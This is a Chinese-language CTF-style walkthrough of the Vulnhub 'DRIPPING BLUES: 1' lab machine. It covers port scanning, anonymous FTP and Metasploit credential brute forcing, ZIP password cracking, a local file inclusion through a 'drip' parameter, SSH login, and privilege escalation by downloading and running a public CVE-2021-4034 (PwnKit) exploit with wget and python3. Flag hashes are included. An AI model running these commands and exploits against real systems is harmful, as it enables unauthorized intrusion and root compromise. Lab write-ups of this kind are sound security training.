freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【Vulnhub 靶场】DRIPPING BLUES: 1
2022-04-08 10:17:47
所属地 宁夏

环境准备

靶机下载
https://www.vulnhub.com/entry/dripping-blues-1,744/
Kali攻击机-(IP:192.168.75.143)
目标靶机-(IP:192.168.75.142)

环境配置

该靶机为Ubuntu操作系统,官方不提供登录用户名及口令。但目标靶机在默认状态下IP地址为DHCP自动获取,在虚拟 机中运行可将Kali和靶机设置为NAT模式,使其处于互通的同一网段下。
图片.png
图片.png
由于目标靶机目前无法登录查看自动分配的IP,我们在Kali攻击机中扫描同网段资产,探测目标靶机的IP地址。
arp-scan -l
图片.png

一、信息收集

1.端口扫描信息

使用namp扫描目标靶机IP的开放端口信息。

nmap -p- -sV 192.168.75.142 //-p-默认扫描所有端口;-sV显示存活端口的服务/版本信息
[扫描发现靶机开放了21、22和80端口]
图片.png

nmap -A -p 1-65535 192.168.75.142 //-A 综合扫描选项;-p设置要扫描的端口范围
图片.png

1.1 22端口

[SSH组件信息:OpenSSH 8.2p1]

1.2 21端口

[FTP组件信息:vsftpd 3.0.3]
前面通过使用nmap综合扫描选项,发现靶机上的ftp服务使用vsftpd工具部署(匿名访问vsftp服务器时,可用anonymous或ftp登录,密码任意),匿名登录后发现名为respectmydrip.zip权限为777的压缩包。

下载FTP目录中的文件
ftp 192.168.75.142 //ftp连接目标主机
ftp //用户名为ftp,也可使用anonymous
ls -la //列出当前目录中的文件,并显示权限
get respectmydrip.zip //下载ftp目录下的文件
图片.png
解压ZIP提示需输入密码
图片.png
ZIP压缩包密码穷举见下文(二、穷举爆破->ZIP压缩密码)

1.3 80端口

[Web中间件信息:Apache httpd 2.4.41]
通过访问80端口的web页面,得知该web站点被入侵过,入侵者署名travisscott和thugger。
图片.png
通过nmap综合扫描选项,发现该web站点根目录存在robots.txt文件,拒绝爬取的路径有两个。
/dripisreal.txt
/etc/dripispowerful.html
图片.png
访问dripisreal.txt,文本中写到欢迎亲爱的黑客字样,并且给出了获取SSH的密码的方法:大意为打开指定的歌词链接(https://www.azlyrics.com/lyrics/youngthug/constantlyhating.html ) ,将单词并列拼接,然后计算出的md5值即ssh密码。 然后还提供了示例hellohellohellohello >> md5sum hellohellohellohello
图片.png

  • 打开歌词的URL后发现单词量是真不少,看起来多少有点扯,假设这不是靶场环境,能将该文件放在服务器中的,除了网站管理员就是入侵者了,管理员没有必要将正确的ssh密码告诉黑客除非这是个圈套,如果是入侵者它肯定不希望自己拿下的成果被其他人掠夺,那么此处提示让入侵者去算单词并列的md5,最可能的目的是为了扰乱其他入侵者的思路,拖延时间,从而为继续扩大自己的攻击成果争取有利条件。所以我们先暂且跳过这个疑似圈套的dripisreal.txt,从其他方面着手尝试。

image

  • 再分析下robots.txt中另一条防爬规则 /etc/dripispowerful.html,莫名其妙来个/etc/开头的路径,有两种猜测一种是源码所在的子目录中有“etc”文件夹,另一种猜测是这个“etc”就是存放linux操作系统配置的etc目录,访问该路径/etc/dripispowerful.html,报错文件不存在,至少可以排除掉第一种猜测,个人关于第二种猜测的理解,一般出现在robots.txt文件中的路径基本上都是可以访问的,只是管理员不想让搜索引擎、爬虫工具爬取/etc路径下的文件,所以我们需要找的是通过web访问该文件的方法,第一时间想到的就是本地文件包含了。

  • 此处见:“三、漏洞利用 本地文件包含漏洞”

2.目录扫描信息

除了扫到index.php和robots.txt,再无其他有价值信息
图片.png

3.操作系统信息

{以下内容在获取到thugger用户权限后,登录操作系统进行收集,获取thugger用户密码见下文“本地文件包含漏洞”}
操作系统发行版本号:Ubuntu 20.04.1
操作系统内核版本号:Linux 5.11.0-34
图片.png
Sudo组件版本号:1.8.31
图片.png
gcc及make环境不支持
图片.png
图片.png
python版本号:3.8.2
图片.png

二、穷举爆破

FTP-21端口

其他获得ftp身份鉴别信息方法:
【Metasploit来对FTP用户名口令穷举爆破】

msfconsole //打开Kali终端类型
图片.png

ftp_login //搜索ftp穷举模块
use 0 //选用模块
图片.png

show opeions //显示当前可设置参数
图片.png

set rhosts 192.168.75.142 //设置目标主机IP
set user_file /root/ftpuser.txt //设置自定义ftp用户名字典文件路径
set pass_file /root/ftppass.txt //设置自定义ftp密码字典文件路径
run //run开始穷举,参数exploit与run相同
图片.png

ZIP压缩密码

使用fcrackzip工具对加密ZIP文件穷举爆破,得到密码072528035
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u respectmydrip.zip
图片.png
PS:-D 使用字典模式;-p选择字典文件(rockyou.txt为fcrackzip默认字典文件);-u加密的zip文件

解压ZIP文件后,得到respectmydrip.txt和secret.zip,对secret.zip继续解压还需要解压密码,字典先让跑着,我们继续往下。
图片.png
查看另一个respectmydrip.txt文件,提示关键词drip。
图片.png

三、漏洞利用

Web部分

【本地文件包含漏洞】

图片.png
常见的本地文件包含格式:
/?file=
/xx.php?file=
/xx.php?filename=
尝试各种对象名访问都不对。
图片.png
然后回想起前面respectmydrip.txt文本中的提示,请关注drip。将对象名file换成drip再次尝试发现可以成功访问到dripispowerful.html该文件,但是html内容已经被篡改了。并且travisscott和thugger又署名留言说到,driftingblues又被攻击了,还留下了一串密码imdrippinbiatch。
图片.png

--思路梳理--

理一下思路,我们拿到靶机的时候,应该都尝试过想要登录靶机操作系统上去看下,但是它需要登录密码,已记住的用户名显示的是thugger,这和入侵者两次在篡改的web页面中留下的署名一致。所以可以推断我们现在练习的这个靶机系统,原本或许是一个部署并运行有web业务的操作系统,被入侵者攻击后拿到了系统最高权限后,对web站点和操作系统用户做了篡改,致使管理员失去操作系统及web站点的控制权。入侵者给出的这个密码会是登录什么的呢?ftp已经能登录上去了,web没有扫到管理后台访问入口,就只剩下ssh没登录成功过。
图片.png
查看当前登录用户(可以看到使用的是thugger用户在登录,并且没有root权限)
图片.png
成功使用thugger/imdrippinbiatch账户口令登录靶机操作系统

ssh thugger@192.168.75.142
图片.png
登录靶机操作系统后,在home路径下发现user.txt文件,内容为一段MD5
5C50FC503A2ABE93B4C5EE3425496521
图片.png
MD5值解密后为toomanydrip
图片.png

四、权限提升

通过收集靶机的操作系统信息,符合利用条件的提权漏洞有:

  • Linux DirtyPipe权限提升漏洞 CVE-2022-0847 (需满足Linux内核 5.8 及之后版本)

  • Linux kernel权限提升漏洞 CVE-2021-3493(需满足Ubuntu 20.04 LTS)

  • Linux sudo权限提升漏洞 CVE-2021-3156(需满足Sudo 1.8.2 - 1.8.31p2)

  • Linux Polkit权限提升漏洞 CVE-2021-4034(需满足2009年5月至今发布的所有Polkit 版本)

但是由于系统环境中无make和gcc组件,导致大部分满足条件的提权漏洞无法利用。
通过进程筛查,发现存在polkit组件并且在运行,而polkit对环境要求不高,正好可以利用已有的python环境去运行POC。
图片.png
基本目前除了最新版的Polkit修复了该漏洞,其他版本都可以提权,可利用版本的范围极大。(https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py)

wget https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip unzip master.zip
cd CVE-2021-4034-master/
python3 cve2021-4034.py
图片.png
图片.png
提权成功!
whoami //显示当前用户权限为root
图片.png
浏览root目录下,又发现了一个名为root.txt的文件,内容为MD5值:
78CE377EF7F10FF0EDCA63DD60EE63B8
图片.png
不过该MD5值明文内容未解出,不过现在看来Flag应该就是user.txt和root.txt里的MD5值了,同时回顾下前面歌词计算MD5值的操作,经过验证使用78CE377EF7F10FF0EDCA63DD60EE63B8MD5值,作为SSH登录密码进行尝试登录,但是没有登录成功,之后又通过各种单词拼接计算MD5值后,作为密码都无法登录,计算歌词那块多半是个坑了。

# 渗透测试 # web安全 # vulnhub靶机
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录